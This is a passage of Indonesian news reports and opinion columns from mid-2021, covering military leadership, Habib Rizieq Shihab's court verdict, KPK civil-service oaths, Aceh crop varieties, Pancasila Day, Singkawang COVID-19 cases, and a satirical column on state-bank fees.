Simon menjelaskan bahwa saat virus corona merebak di berbagai penjuru dunia dan Indonesia harus memulangkan WNI dari Wuhan, Yudo kembali dipercaya untuk memimpin proses rehabilitasi di hanggar Lanud Raden Sadjad, Natuna. Tak hanya itu, ABK kapal pesiar yang diobservasi di Kepulauan Seribu juga dikomandoi olehnya. Pemerintah lalu membangun RSD di Wisma Atlet Kemayoran. Setelah beroperasi, Yudo juga dipercaya memimpin operasional RSD sampai akhirnya diserahkan ke Pangdam Djaya Mayjend TNI Eko Margiyono kala itu. Begitu juga dengan RSD Pulau Galang, Yudo juga yang mengomandoi. Bahkan, saat dirinya menjabat Kasal, perhatian kepada relawan tenaga medis COVID-19 di Wisma Atlet terus diberikan. Hingga pada akhirnya, kata dia, sebagai apresiasi dan pemenuhan komitmen, Yudo Margono mengangkat relawan COVID-19 menjadi prajurit TNI AL. "Pengalamannya memimpin di jajaran Kogabwilhan 1 membuktikan bahwa Laksamana TNI Yudo Margono adalah seorang prajurit sejati yang dapat mengomandoi lingkup 3 matra. Darat, laut, dan udara," katanya. Selain itu, sebagai Kasal, tak perlu lagi ditanya tentang loyalitasnya. Garis lurus, itulah jawaban yang akan didapat. "Loyalitas yang tegak lurus, baik ke atas maupun ke bawah. Ke atas dibuktikan dengan tugas-tugas yang diselesaikannya dengan baik dan paripurna. Ke bawah dibuktikan dengan perhatiannya kepada keluarga besar TNI AL yang menjadi tanggung jawabnya," jelas Simon. Jika ditengok peristiwa musibah KRI Nanggala-402, kata dia, akan dimengerti bagaimana loyalitasnya kepada keluarga korban. Bersama Panglima TNI, Yudo ikut melaut untuk mencari keberadaan KRI Nanggala-402. "Saat KRI Naggala-402 dipastikan tenggelam, Yudo menyambangi beberapa keluarga korban dan bersama Presiden, Menhan, dan Panglima TNI mengadakan pertemuan dengan para keluarga korban," tutur Simon. Simon mengatakan bahwa Yudo punya keunggulan jika nanti menjadi Panglima TNI untuk mengatasi masalah di tanah air. Hal ini didasarkan pada beberapa alasan. Pertama, kata dia, pengamanan wilayah laut dan kepulauan dari pencaplokan oleh negara-negara lain. Akibat potensi eskalasi konflik lintas negara di Laut China Selatan ke depan yang cukup tinggi serta dukungan penjagaan laut yang merupakan garda terdepan dalam menjaga kedaulatan, tentu upaya diplomasi tetap dijalankan. Disamping itu, kejahatan trans-nasional, seperti penyelundupan senjata juga terjadi di laut. "Yang pertama tentu pengamanan wilayah laut dan kepulauan dari pencaplokan oleh negara-negara lain," tuturnya. Dan yang kedua, menurut Simon, adalah visi Indonesia sebagai Poros Maritim Dunia perlu dilanjutkan. Poros Maritim Dunia bertujuan menjadikan Indonesia sebagai negara maritim yang besar, kuat, dan makmur melalui pengembalian identitas Indonesia sebagai bangsa maritim, pengamanan kepentingan dan keamanan maritim, memberdayakan potensi maritim untuk mewujudkan pemerataan ekonomi Indonesia. Ketiga, Yudo dinilai bisa membangun sinergisitas dan soliditas dengan tiga Matra dan Polri. Keempat, Yudo juga punya pengalaman memimpin penanganan COVID-19. Saat memimpin, tambah Simon, Yudo memahami bagaimana perkembangan dunia teknologi kesehatan yang diperuntukkan bagi kekuatan militer. Artinya, dalam upaya mencegah ancaman biowarfare (perang biologi) ke depan, menurut Yudo, sangat diperlukan. "Dan yang terakhir, tentu saja karena pengalaman serta loyalitasnya yang tak terbantahkan," tutupnya. Tak hanya Kasal Laksamana TNI Yudo Margono yang memiliki peluang untuk menjabat sebagai Panglima TNI, melainkan Kasad Jenderal TNI Andika Perkasa dan Kasau Marsekal TNI Fadjar Prasetyo juga memiliki peluang yang sama.(sws/ant)

Terima Kasih, Peradilan Indonesia Menorehkan Tinta Emas

by Habib Umar Alhamid Jakarta FNN - Nama baik lembaga peradilan Indonesia kembali mendapat simpatik dan kepercayaan dari masyarakat. Putusan Pengadilan Negeri Jakarta Timur pada persidangan Habib Rizieq Shihab (HRS) tanggal 27 Mei 2021 kembali menorehkan tinta emas. Putusan yang membuktikan bahwa lembaga peradilan Indonesia masih tetap independen. Tidak bisa diintervensi oleh kekuasahaan apapun, termasuk pemerintah. Bukan saja terhadap kekuasaan pemerintah, namun peradilan Indonesia juga tidak bisa diintervensi oleh kekuasaan-kekuasaan yang lain, seperti Dewan Perwakilan Rakyat (DPR). Kenyataan ini memberikan harapan baik. Bahwa kekuasaan kehakiman yang bebas dari intervansi lembaga manapun itu nyata-nyata ada di negeri ini. Dibuktikan dan disaksikan oleh rakyat hari ini. Masyarakat internasional juga menyaksikan bahwa kekuasaan kehakiman di Indonesia bebas dari intervensi pihak manapun. Harapan untuk mencari dan menggapai keadilan di lembaga peradilan Indonesia masih terbuka lebar. Kenyataan ini agar tetap dipertahankan, sehingga perbaikan atas buruknya tata kelola negara oleh kekuasaan pemerintah, bisa diperbaiki oleh kekuasaan kehakiman yang mandiri dan bebas dari intervensi pihak manapun. Fakta yang dirasakan masyarakat hari ini adalah cengkrakan atas lembaga dan kekuasaan negara oleh oligarki dan konglomerat hitam, picik, licik, tamak dan rakus. DPR dibuat lumpuh, sehingga tidak lagi mampu untuk menyuarakan suara dan penderitaan rakyat. Karena Partai Politik sudah di bawah genggaman oligarki dan kolomerat busuk. Yang tersisa untuk rakyat dari cengkaran konglomerat hitam dan busuk hanya lembaga peradilan yang mandiri dan independen. Keputusan Pengadilan Negeri Jakarta Timur yang membebaskan Habib Rizieq Shihab dari hukuman pidana, dan hanya memberikan saksi administratif sebesar Rp 20 juta untuk kasus Megamendung di Bogor adalah nyata-nyata kalau hukum itu berdiri tegak. Begitu juga hukuman pidana penjara delapan bulan untuk kerumunan di Petamburan. Putusan tersebut yang membuktikan bahwa hukum di negeri ini tidak bisa dikangkangi oleh kekuasaan manapun. Putusan Pengadilan Negeri Jakarta Timur itu dapat menjadi pelajaran berharga bagi jajaran ring satu pemerintahan Presiden Jokowi agar mulai menyadari, jika hukum jangan lagi dimainkan. Jangan juga hukum dijadikan alat untuk mengintimidasi rakya, ulama, aktivis demokrasi dan tokoh bangsa. Sebab dapat menimbulkan gejolak dan keresahan di masyarakat. Dampaknya sangat meluas. Bangsa ini butuh disatukan, apalagi di tengah kegagalan pemerintah mengatasi wabah pandemi covid-19, yang belum menunjukan tanda-tanda akan mereda. Kondisi ini makin diperparah dengan persoalan ekonimi bangsa yang semakin memburuk. Tingkat pengangguran yang terus bertambah. Tidak adanya lapangan kerja baru. Sementara Tenaga Kerja Asing (TKA) dari Bejing terus membanjiri beberapa wilayah Indonesia, seperti Morowali, Konawe, Halmahera dan Kepulauan Riau. Membanjirnya TKA asal Bejing tentu sangat menyesakan dada rakyat. Rasa keadilan untuk mendapatkan pekrjaan yang layak sangat jauh dari harapan. Tragisnya, kenyataan ini terjadi saat pengagguran yang tingg. Daya beli masyarakat yang semakin tertekan. Angka kemiskinan yang juga terus bertambah. Untuk itu, pemerintah harus berhenti mengkriminaliasi rakyat, ulama, aktivis demokrasi dan tokoh bangsa. Rakyat tidak akan diam melihat hilangnya keadilan di negeri ini, terutama akibat ulah jajaran penegak hukum (Polisi dan Jaksa). Rakyat pasti melawan penegak hukum yang tidak adil dan zolim. Prilaku penegak hukum jangan sampai menimbulkan polemik baru. Misalnya, ketidak percayaan masyarakat kepada pemerintah dari segala lini kehidupan berbangsa dan bernegara. Apalagi hanya untuk hal-hal yang remeh-temah seperti kasus Habib Rizieq Shihab. Dengan pembebasan Habib Rizieq Syihab, semoga mempunyai dampak positif terhadap kehidupan berbangsa dan bernegara. Harapannya, masyarakat berangsur-angsur kembali kepada kehidupan normal setelah tercabik-cabik akibat pandemi covid-19. Penegakan hukum jangan sampai merusak persatuan dan persaudaraan sesama anak bangsa. Sebab persatuan itu penting dari segala-galanya. Persatuan itu lebih penting dari penegakan hukum itu. Untuk apa penegakan hukum yang menimbulkan perpecahan diantara anak bangsa? Pemerintah Jokowi perlu belajar banyak dari cara Pemerintah Soesilo Bambang Yudhoyono (SBY) menyelesaikan masalah Gerkan Aceh Merdeka (GAM) di Aceh. GAM yang sudah nyata-nyata melanggar hukum. Melukan pemberintakan bersenjara bertahun-tahun. Membunuh begitu banyak prajurit TNI dan Polri. Namun dikesampingkan masalah penegakan hukum terhadap anggota GAM dan pengikutnya. Karena persatuan lebih penting daripada penegakan hukum. Apalagi Cuma betujuan mengkriminalisasi tokoh panutan rakyat dan umat seperti Habib Rizieq Shihab. Habib Rizieq Shihab yang baru datang atau tiba di tanah air, sudah dilibatkan dalam eskalasi politik tingkat tinggi dan panas. Dutuduh dan dipidanakan dengan berbagai tuduhan yang sangat dicari-cari. Alhamdulillaah di pengadilan tidak terbukti. Selian itu, juga karena pengadilan masih independen, sehingga membabaskan Habib Rizieq Shihab. Pemerintah tidak mungkin, dan pastinya tidak akan berhasil kalau punya keinginan untuk memutuskan kecintaan rakyat dan umat Islam kepada Habib Rizieq Shihab. Upaya ke arah itu hanya akan sia-sia dan membuang energi pemerintah dari tugas utamanya melindungi dan mensejahterakan rakyat. Sebab Habib Hizieq Shihab bukan koruptor yang merampok uang negara seperti bansos dan lain-lain. Rakyat dan umat malah semakin bertambah cintanya kepada Habib Rizieq Shihab. Itu pasti terjadi. Apalagi dengan putusan berkeadilan yang keluar dari Pengadilan Negeri Jakarta Timur. Semoga semuanya bisa berakhir dengan baik dan indah. Tidak ada yang perlu ada pihak merasa dirugikan dengan putusan tersebut. Karena memang begitu adanya. Semua komponen bangsa sebaiknya menyatu untuk melangkah ke depan. Berfikir dan bekerja sama untuk menghadapi musuh besar bangsa saat ini, yaitu mengatasi wabah virus covid 19, dan bahaya korupsi yang semakin menjadi-jadi. Bukannya saling mengkiriminalisasi. Jangan lagi menempatkan sanak bangsa yang berbeda pendapat, atau bersikap kritis kepada pemerintah sebagai musuh. Tugas utama pemerintah itu merangkul yang berbeda dengan pemerintah. Bukannya memukul, dan menciptakan permusuhan dengan menggunakan insturmen hukum. Memastikan persatuan tercipta di negeri ini. Bukannya membuat keterbelahan diantara sesama anak bangsa. Memastikan kalau hukum itu tegak kepada para koruptor Bansos, PT Asuransi Jiwasraya, PT Asabri, BPJS Tenaga Kerja. Musuh bangsa sekarang adalah 97.000 pegawai negeri bodong. Mereka marampok uang negara setiap tahun sebesar Rp 8 triliun, jika gaji rata-rata per orang adalah Rp 5-6 juta. Kalau skandal pegawai negeri bodong ini sudah lima belas tahun, maka nilai korupsinya mencapai Rp 120 riliun. Skandal ini jelas-jelas musuh bangsa. Siapa saja menikmatinya? Harus diusut tuntas. Apa kabar Badan Kepegawaian Negara (BKN) yang berkantor di Cawang Jakarta Timur. Jangan hanya urus Tes Wawasan Kebangsaan kepada pegawa Komisi Pemberantasan Korupsi (KPK). Sudah diusut oleh Polisi dan Jaksa belum? Jangan hanya jago untuk mencari-cari pasal kesalahan Habib Rizieq Shihab dan pengurus Fron Pembela Islam (FPI). Setelah itu menekan dan melakukan penahanan. Sebaiknya Polisi, Jaksa, Badan Intelijen Negara (BIN), dan penyelenggara negara lainnya menjiwai dan resapi itu sila ”Perssatuan Indonesia” dalam setiap denyut nadi. Jangan hanya bisa menghafal dan mengucapkan “saya Pancasila, saya NKRI”. Namun prilaku dan prakteknya jauh. Terkesan tidak mencerminkan, bahkan tidak memahami dan menjiwai Pancasila dan NKRI. Penulis adalah Ketua Umum Generasi Cinta Negeri (GENTARI).

Firli Bahuri Resmi Melantik 1.271 PNS Pasca TWK

Jakarta, FNN - Ketua Komisi Pemberantasan Korupsi (KPK) Firli Bahuri resmi melantik 1.271 pegawai yang sebelumnya telah memenuhi syarat dalam Tes Wawasan Kebangsaan (TWK) menjadi Pegawai Negeri Sipil (PNS). Acara pelantikan digelar di Aula Gedung Juang Gedung Merah Putih KPK, Jakarta, Selasa. Hadir secara langsung 53 perwakilan pegawai dan pejabat struktural. Selebihnya pegawai mengikuti pelantikan melalui aplikasi daring dan wajib melakukan absensi serta menunjukkan bukti kehadiran. Ketua KPK Firli Bahuri terlebih dahulu melantik jajaran eselon I, yakni Sekretaris Jenderal (Sekjen) KPK Cahya Hardianto Harefa dan Deputi Pencegahan dan Monitoring KPK Pahala Nainggolan. "Sebelum saya mengambil sumpah janji Pegawai Negeri Sipil. Saya akan bertanya kepada saudara Cahya Hardianto Harefa dan saudara Pahala Nainggolan. Apakah saudara-saudara bersedia saya ambil sumpah janji menurut agama Kristen?," tanya Firli kepada Cahya dan Pahala. "Bersedia," jawab keduanya. "Harap mengikuti dan mengulangi kata-kata saya," ucap Firli. "Demi Tuhan Yang Maha Esa. Saya menyatakan dan berjanji dengan sungguh-sungguh. Bahwa saya untuk diangkat menjadi Pegawai Negeri Sipil akan setia dan taat sepenuhnya kepada Pancasila, UUD 45, negara, dan pemerintah. Bahwa saya akan mentaati segala peraturan perundang-undangan yang berlaku dan melaksanakan tugas kedinasan yang dipercayakan kepada saya dengan penuh pengabdian dan kesadaran dan tanggung jawab," kata keduanya. "Bahwa saya akan senantiasa menjunjung tinggi kehormatan negara, pemerintah, dan martabat Pegawai Negeri Sipil serta akan senantiasa mengutamakan kepentingan negara daripada kepentingan sendiri, seseorang atau golongan. Bahwa saya akan memegang rahasia sesuatu yang menurut sifatnya atau menurut perintah harus saya rahasiakan. Bahwa saya akan bekerja dengan jujur, tertib, cermat, dan bersemangat untuk kepentingan negara," lanjut keduanya. Setelah pelantikan Cahya dan Pahala, Firli juga melantik Deputi Penindakan dan Eksekusi KPK Karyoto, Deputi Informasi dan Data KPK Mochamad Hadiyana, dan Plt Deputi Pendidikan dan Peran Serta Masyarakat KPK Wawan Wardiana. "Apakah saudara-saudara beragama Islam, apakah saudara-saudara bersedia saya ambil sumpah menurut agama Islam?," tanya Firli. "Bersedia," jawab ketiganya. "Harap mengikuti dan mengulangi kata-kata saya," ucap Firli. "Demi Allah saya bersumpah bahwa saya akan setia dan taat kepada UUD 1945 serta akan menjalankan segala peraturan perundang-undangan dengan selurus-lurusnya demi dharma bakti saya kepada bangsa dan negara. Bahwa saya dalam menjalankan tugas jabatan akan menjunjung etika jabatan bekerja dengan sebaik-baiknya dan dengan penuh rasa tanggung jawab. Bahwa saya akan menjaga integritas tidak menyalahgunakan kewenangan serta menghindarkan diri dari perbuatan tercela," kata ketiganya. Selanjutnya lima pejabat tersebut disaksikan langsung Firli menandatangani berita acara sumpah janji Pegawai Negeri Sipil, berita acara sumpah janji jabatan serta pakta integritas. Kemudian, Firli juga mengalungkan tanda pengenal pegawai, menyematkan pin Korpri, dan menyerahkan pakaian Korpri kepala lima pejabat tersebut. "Saya percaya bahwa saudara-saudara akan melaksanakan tugas dengan sebaik-baiknya sesuai dengan tanggung jawab yang diberikan. Semoga Allah Tuhan Yang Maha Esa bersama kita," kata Firli. (sws/ant)

Terpidana Mantan Wali Kota Medan Bebas dari LP Tanjung Gusta

Medan, FNN - Rahudman Harahap terpidana yang juga mantan Wali Kota Medan menjalani eksekusi bebas dari Lembaga Pemasyarakatan (Lapas) Kelas I Tanjung Gustam Medan, Sumatera Utara. Kasi Penkum Kejaksaan Tinggi Sumatera Utara Sumanggar Siagian, ketika dikonfirmasi di Medan, Selasa, membenarkan mantan Wali Kota Medan itu telah menjalani eksekusi bebas. Ia menjelaskan, Rahudman dibebaskan dari Lapas Medan, Senin (31/5), sekitar pukul 22.30 WIB. "Pelaksanaan eksekusi tersebut dilakukan oleh Jaksa Penuntut Umum (JPU) Kejaksaan Negeri Jakarta Pusat yang dipimpin oleh Kasi Pidsus Kejari Jakarta Pusat," ujarnya. Sumanggar menyebutkan bahwa eksekusi berdasarkan Surat Perintah Kepala Kejaksaan Negeri Jakarta Pusat Nomor: Print-458/M.1.0/Fu.1/05/2021 tanggal 31 Mei 2021 yang melaksanakan Putusan Peninjauan Kembali Mahkamah Agung RI Nomor: 341PK/Pid.Sus/2019 tanggal 29 Mei 2021 atas nama Rahudman Harahap. Adapun amar putusannya menyatakan terpidana Rahudman terbukti melakukan perbuatan yang didakwakan kepadanya, akan tetapi tidak merupakan tindak pidana. Melepaskan terdakwa tersebut dari segala tuntutan hukum (onslag van alle rechtsvervolnging), memerintahkan penuntut umum segera mengeluarkan terpidana dari masa menjalani pidana. Bahwa Rahudman dieksekusi bebas dalam kasus dugaan korupsi pengalihan aset PT KAI di Jalan Jawa Medan seluas 7 hektare tahun 2015, kasus yang turut melibatkan Direktur Utama PT Arga Citra Kharima (ACK) Handoko Lie itu, ditangani oleh Kejaksaan Agung. Dalam kasus tersebut, negara mengalami kerugian sebesar Rp185 miliar. "Proses pengeluaran terpidana Rahudman dari Lapas Medan berlangsung aman, dan pihak keluarga, para pendukung dan kerabat turut menjemput," kata Sumanggar yang juga mantan Kasi Pidum Kejari Binjai itu pula. (sws/ant)

Aceh Terus Kembangkan Varietas Lokal Padi

Banda Aceh, FNN - Dinas Pertanian dan Perkebunan (Distanbun) Aceh menyatakan pihaknya terus mengembangkan varietas lokal di wilayah provinsi paling barat Indonesia itu mulai dari padi, jengkol hingga ubi kayu yang memang memiliki potensi untuk berdaya saing. Kepala UPTD Balai Pengawasan dan Sertifikasi Benih Tanaman Pangan, Hortikultura dan Perkebunan Distanbun Aceh Habiburrahman, Selasa, baru-baru ini pihaknya melakukan identifikasi varietas lokal ubi kayu di Kabupaten Aceh Timur. Harapannya benih tersebut dapat memenuhi kebutuhan bahan baku ubi kayu di daerah itu. “Target kita tahun ini, ubi kayu yang ada di Aceh Timur bisa kita sertifikasi, dengan tujuan agar pabrik yang ada disitu bisa menyuplai benih-benih lokal kita,” kata Habiburrahman di Banda Aceh. Ia menjelaskan varietas lokal ubi kayu salah satu potensi besar yang dimiliki Aceh Timur. Beberapa hari melakukan identifikasi ke lapangan, pihaknya menyimpulkan benih tersebut layak untuk didaftarkan ke pusat Perlindungan Varietas Tanaman dan Perizinan Pertanian (PVTPP) Kementerian Pertanian RI. “Karena memang genetik itu berubah total dari aslinya. Dan kami lihat di lapangan ubi kayu ini mampu bersaing, ketinggiannya mencapai tiga meter lebih, juga bobot satu batang itu rata-rata 17 kilogram, ini kan salah satu hal yang positif yang kita harapkan,” katanya. Jika dibandingkan dengan rata-rata nasional, ini sudah mampu bersaing. Petugas di kabupaten sudah mendaftarkan varietas ini secara online ke PVTPP Kementerian Pertanian, ujarnya lagi. Habib menambahkan apabila varietas ubi kayu tersebut sudah tersertifikasi Balai Pengawasan dan Sertifikasi Benih (BPSB) selaku lembaga penjamin benih bermutu di Aceh maka pemerintah daerah bisa membeli benih itu untuk ditanam kembali oleh masyarakat setempat. Kendati demikian, kata dia, benih-benih tersebut tetap tidak dibenarkan beredar keluar Aceh Timur karena baru memiliki tanda daftar dan belum memiliki izin pelepasan, sehingga diharapkan menjadi tuan rumah di daerah sendiri untuk memenuhi kebutuhan pabrik di Aceh Timur yang membutuhkan bahan baku ubi kayu. “Karena selama ini pabriknya itu ambil (ubi kayu) dari Medan Sumatera Utara, dari Lampung, dan daerah-daerah lain untuk mencukupi bahan baku pabriknya tersebut,” kata Habib. Kita berharap dalam beberapa hari ini tanda daftar dari Kementerian Pertanian bisa keluar, bahwa vairetas ubi kayu itu layak untuk dilanjutkan dilakukan sertifikasi, katanya lagi. Selama ini, kata Habib, Pemerintah Aceh memang terus melakukan upaya-upaya agar varietas lokal di daerah Tanah Rencong itu bisa menghasilkan untung secara ekonomis bagi masyarakat dan terdaftar ke PVTPP. “Tujuannya agar semua benih kita itu menjadi bagian dari pelestarian plasma nutfah. Harapannya akan ada nilai ekonomis yang didapatkan masing-masing kabupaten agar benih itu bisa berdaya saing,” katanya. Selain ubi kayu, kata dia, Distanbun Aceh juga menemukan beberapa varietas baru seperti jeruk di Kabupaten Aceh Tengah hingga jengkol di beberapa daerah, yang memang sudah mulai diinventarisir meskipun tidak sekaligus karena keterbatasan sumber daya manusia (SDM). Termasuk padi. Kata dia, selama ini banyak petani masih Aceh menggunakan benih padi dari luar Aceh dengan berbagai macam merek. Namun, kini pemerintah sudah mulai mengembangkan varietas padi lokal untuk di tanam di daerah masing-masing. “Contohnya seperti yang mulai kita angkat itu benih padi sigupai di Aceh Barat Daya, benih padi sambi di Simeulue, ada benih si kuneng di Bireuen, padi gogo di Aceh Timur dan beberapa lainnya. Benih-benih ini yang kita angkat,” katanya. Seperti benih padi sigupai ini semestinya sudah bisa dibeli menggunakan uang negara, baik APBD maupun ABPN, tapi benih itu tidak boleh dikeluarkan dari Aceh Barat Daya, harus ditanam di Abdya dulu karena dia masih tanda daftar kepemilikan, belum ada pelepasan pemerintah,” katanya. (sws/ant)

Komunitas Malioboro Kumandangkan Lagu Indonesia Raya

Jogjakarta, FNN - Seluruh komunitas di sepanjang Jalan Malioboro Yogyakarta kompak mengumandangkan lagu Indonesia Raya yang dilanjutkan dengan Garuda Pancasila tepat pada 1 Juni 2021 yang diperingati sebagai Hari Lahir Pancasila. “Harapannya, akan semakin tumbuh jiwa patriotisme dan nasionalisme dari pedagang kaki lima (PKL) dan komunitas lain di Malioboro,” kata Ketua Koperasi Paguyuban Pedagang Kaki Lima Yogyakarta (PPKLY) Wawan Suhendra di Yogyakarta, Selasa. Menurut dia, seluruh pedagang kaki lima yang berada di bawah koperasi tersebut bahkan selalu rutin menyanyikan lagu Indonesia Raya setiap pukul 10.00 WIB. Seluruh pedagang sudah berkomitmen untuk berdiri di depan kios masing-masing dan kemudian menyanyikan Indonesia Raya. Hingga saat ini, Wawan mengatakan, tidak ada pedagang yang merasa keberatan dengan komitmen tersebut karena kegiatan hanya memakan waktu sekitar lima menit. “Semua aktivitas dihentikan. Dagangan ditinggal sebentar termasuk jika ada pembeli sekali pun,” katanya. Hal senada disampaikan Ketua Koperasi Paguyuban Tri Dharma Rudiarto yang menyebut bahwa lagu Indonesia Raya dan Garuda Pancasila yang dikumandangkan di sepanjang Malioboro diharapkan dapat menggugah semangat nasionalisme seluruh komunitas di Malioboro. “Jiwa nasionalisme harus terus dipupuk untuk bisa menumbuhkan rasa peratuan, kemanusiaan, dan keadilan sosial. Semangat Pancasila ini harus dijiwai oleh seluruh komunitas di Malioboro dari ujung utara hingga selatan,” katanya. Di sepanjang Malioboro terdapat setidaknya 4.000 orang yang menjadi anggota dari berbagai komunitas di tempat tujuan utama wisata di Kota Yogyakarta tersebut. Peringatan Hari Lahir Pancasila di Malioboro dilakukan dengan long march dari ujung utara hingga ujung selatan Jalan Malioboro. “Harapan kami, komitmen yang sudah dilaksanakan oleh seluruh komunitas seperti menyanyikan Indonesia Raya setiap pukul 10.00 WIB ini bisa terus dipertahankan dan bisa dilakukan lebih baik,” katanya. Meskipun seluruh komunitas pada saat ini disibukkan untuk kembali menggeliatkan denyut perekonomian di kawasan wisata Malioboro, namun Ekwanto menyebut komunitas tidak melupakan sejarah perjuangan bangsa. “Mereka tetap menggelar peringatan Hari Lahir Pancasila yang menjadi dasar negara Indonesia. Momentum seperti ini memang tidak seharusnya dilewatkan,” katanya. (sws/ant)

Rektor Unhan Ajak Pemuda Tiru Bung Karno

Bogor, FNN - Rektor Universitas Pertahanan (Unhan) Laksdya TNI Dr Amarulla Octavian mengharapkan para pemuda meniru keberanian Proklamator RI Bung Karno, agar bangsa ini menjadi bangsa yang dipandang oleh dunia. "Hasil pemikiran Bung Karno yang tertuang dalam Pancasila juga bisa dijadikan alat untuk menjaga perdamaian Indonesia, bahkan dunia," kata Octavian saat mengisi Seminar Nasional Memperingati Hari Kelahiran Pancasila bertema 'Api Semangat Pancasila dalam Bela Negara' yang dilaksanakan di Auditorium Unhan RI, Bogor, Jawa Barat, Selasa. Dalam paparannya, Octavian membeberkan timeline sejarah Pancasila dan peran Bung Karno sebagai yang pertama kali mampu memformulasikan Pancasila pada 1 Juni dalam sidang Badan Penyelidik Usaha-Usaha Persiapan Kemerdekaan Indonesia (BPUPKI). "Pancasila adalah jiwa dan kehidupan keseharian rakyat Indonesia," kata Octavian dalam siaran persnya. Berbicara soal sosok Bung Karno, dia menyatakan syarat menjadi negara besar ialah harus menghargai pahlawan dan sejarahnya. Dia mencontohkan bahwa Amerika Serikat (AS) memiliki sepuluh hari besar untuk memperingati Presiden George Washington. Sedangkan, Indonesia untuk mengenang Bung Karno baru memiliki tiga hari besar. "Hari lahir Bung Karno dan wafatnya Bung Karno. Lalu Hari Lahir Pancasila yang merupakan warisan dari Bung Karno," katanya lagi. Bung Karno, lanjut dia, pada masanya merupakan pemuda yang sangat pintar dan revolusioner. Presiden Pertama RI itu berpidato tanpa teks. Teks pidato Bung Karno yang ada saat ini hanya merupakan steno yang ditulis oleh notula. "Saat itu, dia masih muda dan berani bicara di hadapan tentara pendudukan Jepang. Tak semua pemuda Indonesia saat itu berani menghadapi Jepang. Pemuda saat ini pun harus jadi pemuda pemberani dan penuh tekad," ujarnya pula. Octavian pun mengajak generasi muda, dengan semangat Pancasila, untuk melaksanakan pertahanan dan bela negara. Pada institusi TNI sendiri dikenal dengan Sistem Pertahanan Keamanan Rakyat Semesta (Sishankamrata). Sistem tersebut terbukti mampu memukul mundur tentara Sekutu yang didomplengi NICA Belanda. "Sekarang sedang diuji oleh separatisme Papua. Indonesia harus buktikan bahwa Sishankamrata itu cocok dan ampuh untuk melawan separatisme di Papua," katanya pula. Baginya, sangat penting untuk memastikan bagaimana Pancasila bisa memperkuat bela negara, menjaga keutuhan wilayah, menjaga keselamatan anak dan cucu kita. "Bagaimana dengan Pancasila, kita mampu menjaga legitimasi pemerintah yang sah, kita juga harus mampu menjaga UUD 1945 demi keutuhan dan kepentingan bangsa Indonesia sendiri," ujarnya. Direktur S3 Unhan Laksda TNI (Purn) Siswo Hadi Sumantri mengatakan, dokumen sejarah jelas menunjukkan Bung Karno lah yang menggali falsafah kehidupan berbangsa dan bernegara yakni Pancasila. Falsafah ini yang kemudian disepakati bersama oleh founding fathers saat itu. "Peringatan 1 Juni sebagai Hari Lahir Pancasila adalah momentum penting bagi warga Indonesia, terutama pemuda pemudi Indonesia, yang memegang estafet kepemimpinan masa depan bangsa ini," kata Siswo Hadi. (sws/ant)

Meningkat Drastis Kasus Covid-19 di Singkawang

Pontianak, FNN - Satgas Penanganan Covid-19 Kota Singkawang, Kalimantan Barat mengatakan, saat ini terjadi kenaikan kasus terkonfirmasi COVID-19 yang meningkat drastis di wilayah setempat. "Untuk kenaikan kasus, melonjak drastis. Senin kemarin terjadi kenaikan sebanyak 94 kasus dan ini baru pertama kali terjadi di sini," kata Juru Bicara Satgas Penanganan Covid-19 Kota Singkawang, Barita P Ompusunggu di Singkawang, Selasa. Dia mengatakan, dari 94 kasus tersebut, dua di antaranya berasal dari luar kota. Selain itu, pada hari yang sama ada dua kasus terkonfirmasi yang meninggal dunia, satu berasal dari Kabupaten Sambas. "Namun pada hari yang sama tidak ada penambahan pasien suspek," tuturnya. Saat ini, lanjutnya, pasien terkonfirmasi yang dirawat di RSUD Abdul Aziz Singkawang tercata 29 orang, 7 orang di antaranya berasal dari luar Singkawang. Sedangkan pasien suspek yang dirawat nihil. "Hingga hari ini total pasien terkonfirmasi COVID-19 di Kota Singkawang sebanyak 530 orang," ungkapnya. Per-tanggal 30 Mei 2021 kategori risiko kenaikan Kasus COVID-19 di Kota Singkawang berada di zona kuning yang artinya zona dengan risiko rendah. "Kami terus mengingatkan untuk tetap disiplin dan patuh menjalankan protokol kesehatan, yaitu memakai masker, mencuci tangan, menjaga Jarak serta menghindari kerumunan dan keramaian," katanya. (sws/ant)

Babi Ngepet Tidak Lebih Berbahaya Daripada Bank Ngepet

BEBERAPA bulan lalu masyarakat di Bedahan, Depok, Jawa Barat dihebohkan oleh penangkapan Babi Ngepet oleh warga setempat. Penangkapan ini membuat masyarakat sedikit lega karena akhir-akhir ini banyak uang yang hilang di rumahnya. Masyarakat meyakini Babi Ngepet pelakunya. Dalam kepercayaan sebagian masyarakat kita, Babi Ngepet adalah babi jadi- jadian yang merupakan penjelmaan dari manusia. Tugasnya menyedot duit masyarakat yang disimpan di rumah. Tandanya, jika ada babi hutan berkeliaran di got depan rumah, masyarakat meyakini itu babi ngepet yang sedang menyedot duit penghuni rumah tersebut. Pemilik rumah baru tahu duitnya tersedot setelah babi siluman itu menghilang. Belakangan cerita Babi Ngepet di Depok ternyata prank belaka setelah seorang warga mengaku sebagai perekayasa. Polisi pun ikut menjadi korban prank babi ngepet dengan membuat press realease peristiwa yang menghebohkan tersebut. Pelaku prank bernama Adam Ibrahim. Babi ia beli dari toko online seharga 900 ribu untuk kemudian dibuat cerita seakan-akan benar adanya. Skenario ia susun, aksi dimulai dan publik percaya, bahkan polisi. Masyarakat pun berduyun-duyun. Perekayasa mengaku menangkap babi tersebut dengan ritual tertentu. Setelah ditangkap babi dibunuh lalu dikubur layaknya manusia dengan dibungkus kain kafan. Kuburan babi menjadi perhatian masyarakat luas dan membludak. Ada nilai bisnis di sini, yakni lahan parkir dan tiket masuk kuburan babi. Ini salah satu motif Adam Ibrahim membuat episode Babi Ngepet. Belakangan setelah Adam Ibrahim ditangkap polisi, cerita tentang Babi Ngepet di Depok menghilang. Meski cerita Babi Ngepet mereda, namun mitos tentang binatang haram itu tidak pernah sirna. Apalagi mitos ini pernah dibikin film layar lebar tahun 1980-an. Babi Ngepet merupakan varian lain dari cara memupuk harta dengan bantuan setan, seperti pelihara tuyul dan bulus putih. Babi Ngepet di era digital lebih parah lagi, namanya Bank Ngepet. Bank bisa menyedot duit nasabah, bahkan sampai tiris habis. Jika Babi Ngepet melakukan aksinya secara sporadis dan acak, sedangkan Bank Ngepet menyedot duit rakyat secara sistematis, rutin, dan berkala. Bank Ngepet dilakukan oleh bank pelat merah yang tergabung dalam Himpunan Bank Milik Negara (Himbara) antara lain Bank Mandiri, Bank BNI, Bank BRI, dan Bank BTN. Mereka pada 1 Juni 2021 berencana menerapkan biaya baru bagi para nasabahnya. Cek saldo dikenakan 2500, sedangkan tarik tunai dikenakan 5000. Bayangkan jika dalam sebulan 